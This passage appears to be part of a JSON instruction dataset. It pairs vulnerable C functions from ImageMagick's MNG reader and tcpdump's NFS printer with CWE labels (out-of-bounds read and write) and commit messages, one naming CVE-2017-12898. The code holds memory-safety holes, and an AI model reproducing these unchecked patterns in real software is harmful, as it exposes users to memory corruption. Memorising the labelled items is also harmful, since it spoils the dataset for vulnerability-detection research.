else\n                            {\n                              /* Interpolate */\n                              SetPixelRed(large_image,((QM) (((ssize_t)\n                                 (2*i*(GetPixelRed(image,n)\n                                 -GetPixelRed(image,pixels)+m))/\n                                 ((ssize_t) (m*2))\n                                 +GetPixelRed(image,pixels)))),q);\n                              SetPixelGreen(large_image,((QM) (((ssize_t)\n                                 (2*i*(GetPixelGreen(image,n)\n                                 -GetPixelGreen(image,pixels)+m))/\n                                 ((ssize_t) (m*2))\n                                 +GetPixelGreen(image,pixels)))),q);\n                              SetPixelBlue(large_image,((QM) (((ssize_t)\n                                 (2*i*(GetPixelBlue(image,n)\n                                 -GetPixelBlue(image,pixels)+m))/\n                                 ((ssize_t) (m*2))\n                                 +GetPixelBlue(image,pixels)))),q);\n\n                              if (image->alpha_trait != UndefinedPixelTrait)\n                                 SetPixelAlpha(large_image, ((QM) (((ssize_t)\n                                    (2*i*(GetPixelAlpha(image,n)\n                                    -GetPixelAlpha(image,pixels)+m))\n                                    /((ssize_t) (m*2))+\n                                   GetPixelAlpha(image,pixels)))),q);\n                            }\n\n                          if (magn_methy == 4)\n                            {\n                              /* Replicate nearest */\n                              if (i <= ((m+1) << 1))\n                                 SetPixelAlpha(large_image,GetPixelAlpha(image,\n                                    pixels),q);\n                              else\n                                 SetPixelAlpha(large_image,GetPixelAlpha(image,\n                                    n),q);\n                            }\n                        }\n\n                      else /* if (magn_methy == 3 || magn_methy == 5) */\n                        {\n                          /* Replicate nearest */\n                          if (i <= ((m+1) << 1))\n                          {\n                             SetPixelRed(large_image,GetPixelRed(image,\n                                    pixels),q);\n                             SetPixelGreen(large_image,GetPixelGreen(image,\n                                    pixels),q);\n                             SetPixelBlue(large_image,GetPixelBlue(image,\n                                    pixels),q);\n                             SetPixelAlpha(large_image,GetPixelAlpha(image,\n                                    pixels),q);\n                          }\n\n                          else\n                          {\n                             SetPixelRed(large_image,GetPixelRed(image,n),q);\n                             SetPixelGreen(large_image,GetPixelGreen(image,n),\n                                    q);\n                             SetPixelBlue(large_image,GetPixelBlue(image,n),\n                                    q);\n                             SetPixelAlpha(large_image,GetPixelAlpha(image,n),\n                                    q);\n                          }\n\n                          if (magn_methy == 5)\n                            {\n                              SetPixelAlpha(large_image,(QM) (((ssize_t) (2*i*\n                                 (GetPixelAlpha(image,n)\n                                 -GetPixelAlpha(image,pixels))\n                                 +m))/((ssize_t) (m*2))\n                                 +GetPixelAlpha(image,pixels)),q);\n                            }\n                        }\n                      n+=GetPixelChannels(image);\n                      q+=GetPixelChannels(large_image);\n                      pixels+=GetPixelChannels(image);\n                    } /* x */\n\n                    if (SyncAuthenticPixels(large_image,exception) == 0)\n                      break;\n\n                  } /* i */\n                } /* y */\n\n                prev=(Quantum *) RelinquishMagickMemory(prev);\n                next=(Quantum *) RelinquishMagickMemory(next);\n\n                length=image->columns;\n\n                if (logging != MagickFalse)\n                  (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n                    \"    Delete original image\");\n\n                DeleteImageFromList(&image);\n\n                image=large_image;\n\n                mng_info->image=image;\n\n                /* magnify the columns */\n                if (logging != MagickFalse)\n                  (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n                    \"    Magnify the columns to %.20g\",\n                    (double) image->columns);\n\n                for (y=0; y < (ssize_t) image->rows; y++)\n                {\n                  register Quantum\n                    *pixels;\n\n                  q=GetAuthenticPixels(image,0,y,image->columns,1,exception);\n                  pixels=q+(image->columns-length)*GetPixelChannels(image);\n                  n=pixels+GetPixelChannels(image);\n\n                  for (x=(ssize_t) (image->columns-length);\n                    x < (ssize_t) image->columns; x++)\n                  {\n                    /* To do: Rewrite using Get/Set***PixelChannel() */\n\n                    if (x == (ssize_t) (image->columns-length))\n                      m=(ssize_t) mng_info->magn_ml;\n\n                    else if (magn_methx > 1 && x == (ssize_t) image->columns-2)\n                      m=(ssize_t) mng_info->magn_mr;\n\n                    else if (magn_methx <= 1 &&\n                        x == (ssize_t) image->columns-1)\n                      m=(ssize_t) mng_info->magn_mr;\n\n                    else if (magn_methx > 1 && x == (ssize_t) image->columns-1)\n                      m=1;\n\n                    else\n                      m=(ssize_t) mng_info->magn_mx;\n\n                    for (i=0; i < m; i++)\n                    {\n                      if (magn_methx <= 1)\n                        {\n                          /* replicate previous */\n                          SetPixelRed(image,GetPixelRed(image,pixels),q);\n                          SetPixelGreen(image,GetPixelGreen(image,pixels),q);\n                          SetPixelBlue(image,GetPixelBlue(image,pixels),q);\n                          SetPixelAlpha(image,GetPixelAlpha(image,pixels),q);\n                        }\n\n                      else if (magn_methx == 2 || magn_methx == 4)\n                        {\n                          if (i == 0)\n                          {\n                            SetPixelRed(image,GetPixelRed(image,pixels),q);\n                            SetPixelGreen(image,GetPixelGreen(image,pixels),q);\n                            SetPixelBlue(image,GetPixelBlue(image,pixels),q);\n                            SetPixelAlpha(image,GetPixelAlpha(image,pixels),q);\n                          }\n\n                          /* To do: Rewrite using Get/Set***PixelChannel() */\n                          else\n                            {\n                              /* Interpolate */\n                              SetPixelRed(image,(QM) ((2*i*(\n                                 GetPixelRed(image,n)\n                                 -GetPixelRed(image,pixels))+m)\n                                 /((ssize_t) (m*2))+\n                                 GetPixelRed(image,pixels)),q);\n\n                              SetPixelGreen(image,(QM) ((2*i*(\n                                 GetPixelGreen(image,n)\n                                 -GetPixelGreen(image,pixels))+m)\n                                 /((ssize_t) (m*2))+\n                                 GetPixelGreen(image,pixels)),q);\n\n                              SetPixelBlue(image,(QM) ((2*i*(\n                                 GetPixelBlue(image,n)\n                                 -GetPixelBlue(image,pixels))+m)\n                                 /((ssize_t) (m*2))+\n                                 GetPixelBlue(image,pixels)),q);\n                              if (image->alpha_trait != UndefinedPixelTrait)\n                                 SetPixelAlpha(image,(QM) ((2*i*(\n                                   GetPixelAlpha(image,n)\n                                   -GetPixelAlpha(image,pixels))+m)\n                                   /((ssize_t) (m*2))+\n                                   GetPixelAlpha(image,pixels)),q);\n                            }\n\n                          if (magn_methx == 4)\n                            {\n                              /* Replicate nearest */\n                              if (i <= ((m+1) << 1))\n                              {\n                                 SetPixelAlpha(image,\n                                   GetPixelAlpha(image,pixels)+0,q);\n                              }\n                              else\n                              {\n                                 SetPixelAlpha(image,\n                                   GetPixelAlpha(image,n)+0,q);\n                              }\n                            }\n                        }\n\n                      else /* if (magn_methx == 3 || magn_methx == 5) */\n                        {\n                          /* Replicate nearest */\n                          if (i <= ((m+1) << 1))\n                          {\n                             SetPixelRed(image,GetPixelRed(image,pixels),q);\n                             SetPixelGreen(image,GetPixelGreen(image,\n                                 pixels),q);\n                             SetPixelBlue(image,GetPixelBlue(image,pixels),q);\n                             SetPixelAlpha(image,GetPixelAlpha(image,\n                                 pixels),q);\n                          }\n\n                          else\n                          {\n                             SetPixelRed(image,GetPixelRed(image,n),q);\n                             SetPixelGreen(image,GetPixelGreen(image,n),q);\n                             SetPixelBlue(image,GetPixelBlue(image,n),q);\n                             SetPixelAlpha(image,GetPixelAlpha(image,n),q);\n                          }\n\n                          if (magn_methx == 5)\n                            {\n                              /* Interpolate */\n                              SetPixelAlpha(image,\n                                 (QM) ((2*i*( GetPixelAlpha(image,n)\n                                 -GetPixelAlpha(image,pixels))+m)/\n                                 ((ssize_t) (m*2))\n                                 +GetPixelAlpha(image,pixels)),q);\n                            }\n                        }\n                      q+=GetPixelChannels(image);\n                    }\n                    n+=GetPixelChannels(image);\n                  }\n\n                  if (SyncAuthenticPixels(image,exception) == MagickFalse)\n                    break;\n                }\n#if (MAGICKCORE_QUANTUM_DEPTH > 16)\n              if (magn_methx != 1 || magn_methy != 1)\n                {\n                /*\n                   Rescale pixels to Quantum\n                */\n                   for (y=0; y < (ssize_t) image->rows; y++)\n                   {\n                     q=GetAuthenticPixels(image,0,y,image->columns,1,\n                       exception);\n\n                     for (x=(ssize_t) image->columns-1; x >= 0; x--)\n                     {\n                        SetPixelRed(image,ScaleShortToQuantum(\n                          GetPixelRed(image,q)),q);\n                        SetPixelGreen(image,ScaleShortToQuantum(\n                          GetPixelGreen(image,q)),q);\n                        SetPixelBlue(image,ScaleShortToQuantum(\n                          GetPixelBlue(image,q)),q);\n                        SetPixelAlpha(image,ScaleShortToQuantum(\n                          GetPixelAlpha(image,q)),q);\n                        q+=GetPixelChannels(image);\n                     }\n\n                     if (SyncAuthenticPixels(image,exception) == MagickFalse)\n                       break;\n                   }\n                }\n#endif\n                if (logging != MagickFalse)\n                  (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n                    \"  Finished MAGN processing\");\n              }\n          }\n\n        /*\n          Crop_box is with respect to the upper left corner of the MNG.\n        */\n        crop_box.left=mng_info->image_box.left+mng_info->x_off[object_id];\n        crop_box.right=mng_info->image_box.right+mng_info->x_off[object_id];\n        crop_box.top=mng_info->image_box.top+mng_info->y_off[object_id];\n        crop_box.bottom=mng_info->image_box.bottom+mng_info->y_off[object_id];\n        crop_box=mng_minimum_box(crop_box,mng_info->clip);\n        crop_box=mng_minimum_box(crop_box,mng_info->frame);\n        crop_box=mng_minimum_box(crop_box,mng_info->object_clip[object_id]);\n        if ((crop_box.left != (mng_info->image_box.left\n            +mng_info->x_off[object_id])) ||\n            (crop_box.right != (mng_info->image_box.right\n            +mng_info->x_off[object_id])) ||\n            (crop_box.top != (mng_info->image_box.top\n            +mng_info->y_off[object_id])) ||\n            (crop_box.bottom != (mng_info->image_box.bottom\n            +mng_info->y_off[object_id])))\n          {\n            if (logging != MagickFalse)\n              (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n                \"  Crop the PNG image\");\n\n            if ((crop_box.left < crop_box.right) &&\n                (crop_box.top < crop_box.bottom))\n              {\n                Image\n                  *im;\n\n                RectangleInfo\n                  crop_info;\n\n                /*\n                  Crop_info is with respect to the upper left corner of\n                  the image.\n                */\n                crop_info.x=(crop_box.left-mng_info->x_off[object_id]);\n                crop_info.y=(crop_box.top-mng_info->y_off[object_id]);\n                crop_info.width=(size_t) (crop_box.right-crop_box.left);\n                crop_info.height=(size_t) (crop_box.bottom-crop_box.top);\n                image->page.width=image->columns;\n                image->page.height=image->rows;\n                image->page.x=0;\n                image->page.y=0;\n                im=CropImage(image,&crop_info,exception);\n\n                if (im != (Image *) NULL)\n                  {\n                    image->columns=im->columns;\n                    image->rows=im->rows;\n                    im=DestroyImage(im);\n                    image->page.width=image->columns;\n                    image->page.height=image->rows;\n                    image->page.x=crop_box.left;\n                    image->page.y=crop_box.top;\n                  }\n              }\n\n            else\n              {\n                /*\n                  No pixels in crop area.  The MNG spec still requires\n                  a layer, though, so make a single transparent pixel in\n                  the top left corner.\n                */\n                image->columns=1;\n                image->rows=1;\n                image->colors=2;\n                (void) SetImageBackgroundColor(image,exception);\n                image->page.width=1;\n                image->page.height=1;\n                image->page.x=0;\n                image->page.y=0;\n              }\n          }\n#ifndef PNG_READ_EMPTY_PLTE_SUPPORTED\n        image=mng_info->image;\n#endif\n      }\n\n#if (MAGICKCORE_QUANTUM_DEPTH > 16)\n      /* PNG does not handle depths greater than 16 so reduce it even\n       * if lossy.\n       */\n      if (image->depth > 16)\n         image->depth=16;\n#endif\n\n#if (MAGICKCORE_QUANTUM_DEPTH > 8)\n      if (image->depth > 8)\n        {\n          /* To do: fill low byte properly */\n          image->depth=16;\n        }\n\n      if (LosslessReduceDepthOK(image,exception) != MagickFalse)\n         image->depth = 8;\n#endif\n\n      if (image_info->number_scenes != 0)\n        {\n          if (mng_info->scenes_found >\n             (ssize_t) (image_info->first_scene+image_info->number_scenes))\n            break;\n        }\n\n      if (logging != MagickFalse)\n        (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n          \"  Finished reading image datastream.\");\n\n  } while (LocaleCompare(image_info->magick,\"MNG\") == 0);\n\n  (void) CloseBlob(image);\n\n  if (logging != MagickFalse)\n    (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n      \"  Finished reading all image datastreams.\");\n\n#if defined(MNG_INSERT_LAYERS)\n  if (insert_layers && !mng_info->image_found && (mng_info->mng_width) &&\n       (mng_info->mng_height))\n    {\n      /*\n        Insert a background layer if nothing else was found.\n      */\n      if (logging != MagickFalse)\n        (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n          \"  No images found.  Inserting a background layer.\");\n\n      if (GetAuthenticPixelQueue(image) != (Quantum *) NULL)\n        {\n          /*\n            Allocate next image structure.\n          */\n          AcquireNextImage(image_info,image,exception);\n          if (GetNextImageInList(image) == (Image *) NULL)\n            {\n              if (logging != MagickFalse)\n                (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n                  \"  Allocation failed, returning NULL.\");\n\n              return(DestroyImageList(image));;\n            }\n          image=SyncNextImageInList(image);\n        }\n      image->columns=mng_info->mng_width;\n      image->rows=mng_info->mng_height;\n      image->page.width=mng_info->mng_width;\n      image->page.height=mng_info->mng_height;\n      image->page.x=0;\n      image->page.y=0;\n      image->background_color=mng_background_color;\n      image->alpha_trait=UndefinedPixelTrait;\n\n      if (image_info->ping == MagickFalse)\n        (void) SetImageBackgroundColor(image,exception);\n\n      mng_info->image_found++;\n    }\n#endif\n  image->iterations=mng_iterations;\n\n  if (mng_iterations == 1)\n    image->start_loop=MagickTrue;\n\n  while (GetPreviousImageInList(image) != (Image *) NULL)\n  {\n    image_count++;\n    if (image_count > 10*mng_info->image_found)\n      {\n        if (logging != MagickFalse)\n          (void) LogMagickEvent(CoderEvent,GetMagickModule(),\"  No beginning\");\n\n        (void) ThrowMagickException(exception,GetMagickModule(),\n          CoderError,\"Linked list is corrupted, beginning of list not found\",\n          \"`%s'\",image_info->filename);\n\n        return(DestroyImageList(image));\n      }\n\n    image=GetPreviousImageInList(image);\n\n    if (GetNextImageInList(image) == (Image *) NULL)\n      {\n        if (logging != MagickFalse)\n          (void) LogMagickEvent(CoderEvent,GetMagickModule(),\"  Corrupt list\");\n\n        (void) ThrowMagickException(exception,GetMagickModule(),\n          CoderError,\"Linked list is corrupted; next_image is NULL\",\"`%s'\",\n          image_info->filename);\n      }\n  }\n\n  if (mng_info->ticks_per_second && mng_info->image_found > 1 &&\n             GetNextImageInList(image) ==\n     (Image *) NULL)\n    {\n      if (logging != MagickFalse)\n        (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n            \"  First image null\");\n\n      (void) ThrowMagickException(exception,GetMagickModule(),\n        CoderError,\"image->next for first image is NULL but shouldn't be.\",\n        \"`%s'\",image_info->filename);\n    }\n\n  if (mng_info->image_found == 0)\n    {\n      if (logging != MagickFalse)\n        (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n          \"  No visible images found.\");\n\n      (void) ThrowMagickException(exception,GetMagickModule(),\n        CoderError,\"No visible images in file\",\"`%s'\",image_info->filename);\n\n      return(DestroyImageList(image));\n    }\n\n  if (mng_info->ticks_per_second)\n    final_delay=1UL*MagickMax(image->ticks_per_second,1L)*\n            final_delay/mng_info->ticks_per_second;\n\n  else\n    image->start_loop=MagickTrue;\n\n  /* Find final nonzero image delay */\n  final_image_delay=0;\n\n  while (GetNextImageInList(image) != (Image *) NULL)\n    {\n      if (image->delay)\n        final_image_delay=image->delay;\n\n      image=GetNextImageInList(image);\n    }\n\n  if (final_delay < final_image_delay)\n    final_delay=final_image_delay;\n\n  image->delay=final_delay;\n\n  if (logging != MagickFalse)\n      (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n        \"  image->delay=%.20g, final_delay=%.20g\",(double) image->delay,\n        (double) final_delay);\n\n  if (logging != MagickFalse)\n    {\n      int\n        scene;\n\n      scene=0;\n      image=GetFirstImageInList(image);\n\n      (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n        \"  Before coalesce:\");\n\n      (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n        \"    scene 0 delay=%.20g\",(double) image->delay);\n\n      while (GetNextImageInList(image) != (Image *) NULL)\n      {\n        image=GetNextImageInList(image);\n        (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n          \"    scene %.20g delay=%.20g\",(double) scene++,\n          (double) image->delay);\n      }\n    }\n\n  image=GetFirstImageInList(image);\n#ifdef MNG_COALESCE_LAYERS\n  if (insert_layers)\n    {\n      Image\n        *next_image,\n        *next;\n\n      size_t\n        scene;\n\n      if (logging != MagickFalse)\n        (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n          \"  Coalesce Images\");\n\n      scene=image->scene;\n      next_image=CoalesceImages(image,exception);\n\n      if (next_image == (Image *) NULL)\n        ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n\n      image=DestroyImageList(image);\n      image=next_image;\n\n      for (next=image; next != (Image *) NULL; next=next_image)\n      {\n         next->page.width=mng_info->mng_width;\n         next->page.height=mng_info->mng_height;\n         next->page.x=0;\n         next->page.y=0;\n         next->scene=scene++;\n         next_image=GetNextImageInList(next);\n\n         if (next_image == (Image *) NULL)\n           break;\n\n         if (next->delay == 0)\n           {\n             scene--;\n             next_image->previous=GetPreviousImageInList(next);\n             if (GetPreviousImageInList(next) == (Image *) NULL)\n               image=next_image;\n             else\n               next->previous->next=next_image;\n             next=DestroyImage(next);\n           }\n      }\n    }\n#endif\n\n  while (GetNextImageInList(image) != (Image *) NULL)\n      image=GetNextImageInList(image);\n\n  image->dispose=BackgroundDispose;\n\n  if (logging != MagickFalse)\n    {\n      int\n        scene;\n\n      scene=0;\n      image=GetFirstImageInList(image);\n\n      (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n        \"  After coalesce:\");\n\n      (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n        \"    scene 0 delay=%.20g dispose=%.20g\",(double) image->delay,\n        (double) image->dispose);\n\n      while (GetNextImageInList(image) != (Image *) NULL)\n      {\n        image=GetNextImageInList(image);\n\n        (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n          \"    scene %.20g delay=%.20g dispose=%.20g\",(double) scene++,\n          (double) image->delay,(double) image->dispose);\n      }\n   }\n\n  if (logging != MagickFalse)\n    (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n      \"  exit ReadOneMNGImage();\");\n\n  return(image);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125'], 'message': 'Skip MNG CLIP chunk with out-of-range object IDs'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: nfsreq_print_noaddr(netdissect_options *ndo,\n                    register const u_char *bp, u_int length,\n                    register const u_char *bp2)\n{\n\tregister const struct sunrpc_msg *rp;\n\tregister const uint32_t *dp;\n\tnfs_type type;\n\tint v3;\n\tuint32_t proc;\n\tuint32_t access_flags;\n\tstruct nfsv3_sattr sa3;\n\n\tND_PRINT((ndo, \"%d\", length));\n\tnfserr = 0;\t\t/* assume no error */\n\trp = (const struct sunrpc_msg *)bp;\n\n\tif (!xid_map_enter(ndo, rp, bp2))\t/* record proc number for later on */\n\t\tgoto trunc;\n\n\tv3 = (EXTRACT_32BITS(&rp->rm_call.cb_vers) == NFS_VER3);\n\tproc = EXTRACT_32BITS(&rp->rm_call.cb_proc);\n\n\tif (!v3 && proc < NFS_NPROCS)\n\t\tproc =  nfsv3_procid[proc];\n\n\tND_PRINT((ndo, \" %s\", tok2str(nfsproc_str, \"proc-%u\", proc)));\n\tswitch (proc) {\n\n\tcase NFSPROC_GETATTR:\n\tcase NFSPROC_SETATTR:\n\tcase NFSPROC_READLINK:\n\tcase NFSPROC_FSSTAT:\n\tcase NFSPROC_FSINFO:\n\tcase NFSPROC_PATHCONF:\n\t\tif ((dp = parsereq(ndo, rp, length)) != NULL &&\n\t\t    parsefh(ndo, dp, v3) != NULL)\n\t\t\treturn;\n\t\tbreak;\n\n\tcase NFSPROC_LOOKUP:\n\tcase NFSPROC_CREATE:\n\tcase NFSPROC_MKDIR:\n\tcase NFSPROC_REMOVE:\n\tcase NFSPROC_RMDIR:\n\t\tif ((dp = parsereq(ndo, rp, length)) != NULL &&\n\t\t    parsefhn(ndo, dp, v3) != NULL)\n\t\t\treturn;\n\t\tbreak;\n\n\tcase NFSPROC_ACCESS:\n\t\tif ((dp = parsereq(ndo, rp, length)) != NULL &&\n\t\t    (dp = parsefh(ndo, dp, v3)) != NULL) {\n\t\t\tND_TCHECK(dp[0]);\n\t\t\taccess_flags = EXTRACT_32BITS(&dp[0]);\n\t\t\tif (access_flags & ~NFSV3ACCESS_FULL) {\n\t\t\t\t/* NFSV3ACCESS definitions aren't up to date */\n\t\t\t\tND_PRINT((ndo, \" %04x\", access_flags));\n\t\t\t} else if ((access_flags & NFSV3ACCESS_FULL) == NFSV3ACCESS_FULL) {\n\t\t\t\tND_PRINT((ndo, \" NFS_ACCESS_FULL\"));\n\t\t\t} else {\n\t\t\t\tchar separator = ' ';\n\t\t\t\tif (access_flags & NFSV3ACCESS_READ) {\n\t\t\t\t\tND_PRINT((ndo, \" NFS_ACCESS_READ\"));\n\t\t\t\t\tseparator = '|';\n\t\t\t\t}\n\t\t\t\tif (access_flags & NFSV3ACCESS_LOOKUP) {\n\t\t\t\t\tND_PRINT((ndo, \"%cNFS_ACCESS_LOOKUP\", separator));\n\t\t\t\t\tseparator = '|';\n\t\t\t\t}\n\t\t\t\tif (access_flags & NFSV3ACCESS_MODIFY) {\n\t\t\t\t\tND_PRINT((ndo, \"%cNFS_ACCESS_MODIFY\", separator));\n\t\t\t\t\tseparator = '|';\n\t\t\t\t}\n\t\t\t\tif (access_flags & NFSV3ACCESS_EXTEND) {\n\t\t\t\t\tND_PRINT((ndo, \"%cNFS_ACCESS_EXTEND\", separator));\n\t\t\t\t\tseparator = '|';\n\t\t\t\t}\n\t\t\t\tif (access_flags & NFSV3ACCESS_DELETE) {\n\t\t\t\t\tND_PRINT((ndo, \"%cNFS_ACCESS_DELETE\", separator));\n\t\t\t\t\tseparator = '|';\n\t\t\t\t}\n\t\t\t\tif (access_flags & NFSV3ACCESS_EXECUTE)\n\t\t\t\t\tND_PRINT((ndo, \"%cNFS_ACCESS_EXECUTE\", separator));\n\t\t\t}\n\t\t\treturn;\n\t\t}\n\t\tbreak;\n\n\tcase NFSPROC_READ:\n\t\tif ((dp = parsereq(ndo, rp, length)) != NULL &&\n\t\t    (dp = parsefh(ndo, dp, v3)) != NULL) {\n\t\t\tif (v3) {\n\t\t\t\tND_TCHECK(dp[2]);\n\t\t\t\tND_PRINT((ndo, \" %u bytes @ %\" PRIu64,\n\t\t\t\t       EXTRACT_32BITS(&dp[2]),\n\t\t\t\t       EXTRACT_64BITS(&dp[0])));\n\t\t\t} else {\n\t\t\t\tND_TCHECK(dp[1]);\n\t\t\t\tND_PRINT((ndo, \" %u bytes @ %u\",\n\t\t\t\t    EXTRACT_32BITS(&dp[1]),\n\t\t\t\t    EXTRACT_32BITS(&dp[0])));\n\t\t\t}\n\t\t\treturn;\n\t\t}\n\t\tbreak;\n\n\tcase NFSPROC_WRITE:\n\t\tif ((dp = parsereq(ndo, rp, length)) != NULL &&\n\t\t    (dp = parsefh(ndo, dp, v3)) != NULL) {\n\t\t\tif (v3) {\n\t\t\t\tND_TCHECK(dp[2]);\n\t\t\t\tND_PRINT((ndo, \" %u (%u) bytes @ %\" PRIu64,\n\t\t\t\t\t\tEXTRACT_32BITS(&dp[4]),\n\t\t\t\t\t\tEXTRACT_32BITS(&dp[2]),\n\t\t\t\t\t\tEXTRACT_64BITS(&dp[0])));\n\t\t\t\tif (ndo->ndo_vflag) {\n\t\t\t\t\tdp += 3;\n\t\t\t\t\tND_TCHECK(dp[0]);\n\t\t\t\t\tND_PRINT((ndo, \" <%s>\",\n\t\t\t\t\t\ttok2str(nfsv3_writemodes,\n\t\t\t\t\t\t\tNULL, EXTRACT_32BITS(dp))));\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tND_TCHECK(dp[3]);\n\t\t\t\tND_PRINT((ndo, \" %u (%u) bytes @ %u (%u)\",\n\t\t\t\t\t\tEXTRACT_32BITS(&dp[3]),\n\t\t\t\t\t\tEXTRACT_32BITS(&dp[2]),\n\t\t\t\t\t\tEXTRACT_32BITS(&dp[1]),\n\t\t\t\t\t\tEXTRACT_32BITS(&dp[0])));\n\t\t\t}\n\t\t\treturn;\n\t\t}\n\t\tbreak;\n\n\tcase NFSPROC_SYMLINK:\n\t\tif ((dp = parsereq(ndo, rp, length)) != NULL &&\n\t\t    (dp = parsefhn(ndo, dp, v3)) != NULL) {\n\t\t\tND_PRINT((ndo, \" ->\"));\n\t\t\tif (v3 && (dp = parse_sattr3(ndo, dp, &sa3)) == NULL)\n\t\t\t\tbreak;\n\t\t\tif (parsefn(ndo, dp) == NULL)\n\t\t\t\tbreak;\n\t\t\tif (v3 && ndo->ndo_vflag)\n\t\t\t\tprint_sattr3(ndo, &sa3, ndo->ndo_vflag);\n\t\t\treturn;\n\t\t}\n\t\tbreak;\n\n\tcase NFSPROC_MKNOD:\n\t\tif ((dp = parsereq(ndo, rp, length)) != NULL &&\n\t\t    (dp = parsefhn(ndo, dp, v3)) != NULL) {\n\t\t\tND_TCHECK(*dp);\n\t\t\ttype = (nfs_type)EXTRACT_32BITS(dp);\n\t\t\tdp++;\n\t\t\tif ((dp = parse_sattr3(ndo, dp, &sa3)) == NULL)\n\t\t\t\tbreak;\n\t\t\tND_PRINT((ndo, \" %s\", tok2str(type2str, \"unk-ft %d\", type)));\n\t\t\tif (ndo->ndo_vflag && (type == NFCHR || type == NFBLK)) {\n\t\t\t\tND_TCHECK(dp[1]);\n\t\t\t\tND_PRINT((ndo, \" %u/%u\",\n\t\t\t\t       EXTRACT_32BITS(&dp[0]),\n\t\t\t\t       EXTRACT_32BITS(&dp[1])));\n\t\t\t\tdp += 2;\n\t\t\t}\n\t\t\tif (ndo->ndo_vflag)\n\t\t\t\tprint_sattr3(ndo, &sa3, ndo->ndo_vflag);\n\t\t\treturn;\n\t\t}\n\t\tbreak;\n\n\tcase NFSPROC_RENAME:\n\t\tif ((dp = parsereq(ndo, rp, length)) != NULL &&\n\t\t    (dp = parsefhn(ndo, dp, v3)) != NULL) {\n\t\t\tND_PRINT((ndo, \" ->\"));\n\t\t\tif (parsefhn(ndo, dp, v3) != NULL)\n\t\t\t\treturn;\n\t\t}\n\t\tbreak;\n\n\tcase NFSPROC_LINK:\n\t\tif ((dp = parsereq(ndo, rp, length)) != NULL &&\n\t\t    (dp = parsefh(ndo, dp, v3)) != NULL) {\n\t\t\tND_PRINT((ndo, \" ->\"));\n\t\t\tif (parsefhn(ndo, dp, v3) != NULL)\n\t\t\t\treturn;\n\t\t}\n\t\tbreak;\n\n\tcase NFSPROC_READDIR:\n\t\tif ((dp = parsereq(ndo, rp, length)) != NULL &&\n\t\t    (dp = parsefh(ndo, dp, v3)) != NULL) {\n\t\t\tif (v3) {\n\t\t\t\tND_TCHECK(dp[4]);\n\t\t\t\t/*\n\t\t\t\t * We shouldn't really try to interpret the\n\t\t\t\t * offset cookie here.\n\t\t\t\t */\n\t\t\t\tND_PRINT((ndo, \" %u bytes @ %\" PRId64,\n\t\t\t\t    EXTRACT_32BITS(&dp[4]),\n\t\t\t\t    EXTRACT_64BITS(&dp[0])));\n\t\t\t\tif (ndo->ndo_vflag)\n\t\t\t\t\tND_PRINT((ndo, \" verf %08x%08x\", dp[2], dp[3]));\n\t\t\t} else {\n\t\t\t\tND_TCHECK(dp[1]);\n\t\t\t\t/*\n\t\t\t\t * Print the offset as signed, since -1 is\n\t\t\t\t * common, but offsets > 2^31 aren't.\n\t\t\t\t */\n\t\t\t\tND_PRINT((ndo, \" %u bytes @ %d\",\n\t\t\t\t    EXTRACT_32BITS(&dp[1]),\n\t\t\t\t    EXTRACT_32BITS(&dp[0])));\n\t\t\t}\n\t\t\treturn;\n\t\t}\n\t\tbreak;\n\n\tcase NFSPROC_READDIRPLUS:\n\t\tif ((dp = parsereq(ndo, rp, length)) != NULL &&\n\t\t    (dp = parsefh(ndo, dp, v3)) != NULL) {\n\t\t\tND_TCHECK(dp[4]);\n\t\t\t/*\n\t\t\t * We don't try to interpret the offset\n\t\t\t * cookie here.\n\t\t\t */\n\t\t\tND_PRINT((ndo, \" %u bytes @ %\" PRId64,\n\t\t\t\tEXTRACT_32BITS(&dp[4]),\n\t\t\t\tEXTRACT_64BITS(&dp[0])));\n\t\t\tif (ndo->ndo_vflag) {\n\t\t\t\tND_TCHECK(dp[5]);\n\t\t\t\tND_PRINT((ndo, \" max %u verf %08x%08x\",\n\t\t\t\t       EXTRACT_32BITS(&dp[5]), dp[2], dp[3]));\n\t\t\t}\n\t\t\treturn;\n\t\t}\n\t\tbreak;\n\n\tcase NFSPROC_COMMIT:\n\t\tif ((dp = parsereq(ndo, rp, length)) != NULL &&\n\t\t    (dp = parsefh(ndo, dp, v3)) != NULL) {\n\t\t\tND_TCHECK(dp[2]);\n\t\t\tND_PRINT((ndo, \" %u bytes @ %\" PRIu64,\n\t\t\t\tEXTRACT_32BITS(&dp[2]),\n\t\t\t\tEXTRACT_64BITS(&dp[0])));\n\t\t\treturn;\n\t\t}\n\t\tbreak;\n\n\tdefault:\n\t\treturn;\n\t}\n\ntrunc:\n\tif (!nfserr)\n\t\tND_PRINT((ndo, \"%s\", tstr));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125', 'CWE-787'], 'message': 'CVE-2017-12898/NFS: Fix bounds checking.\n\nFix the bounds checking for the NFSv3 WRITE procedure to check whether the\nlength of the opaque data being written is present in the captured data,\nnot just whether the byte count is present in the captured data.\nfurthest forward in the packet, not the item before it.  (This also lets\nus eliminate the check for the \"stable\" argument being present in the\ncaptured data; rewrite the code to print that to make it a bit 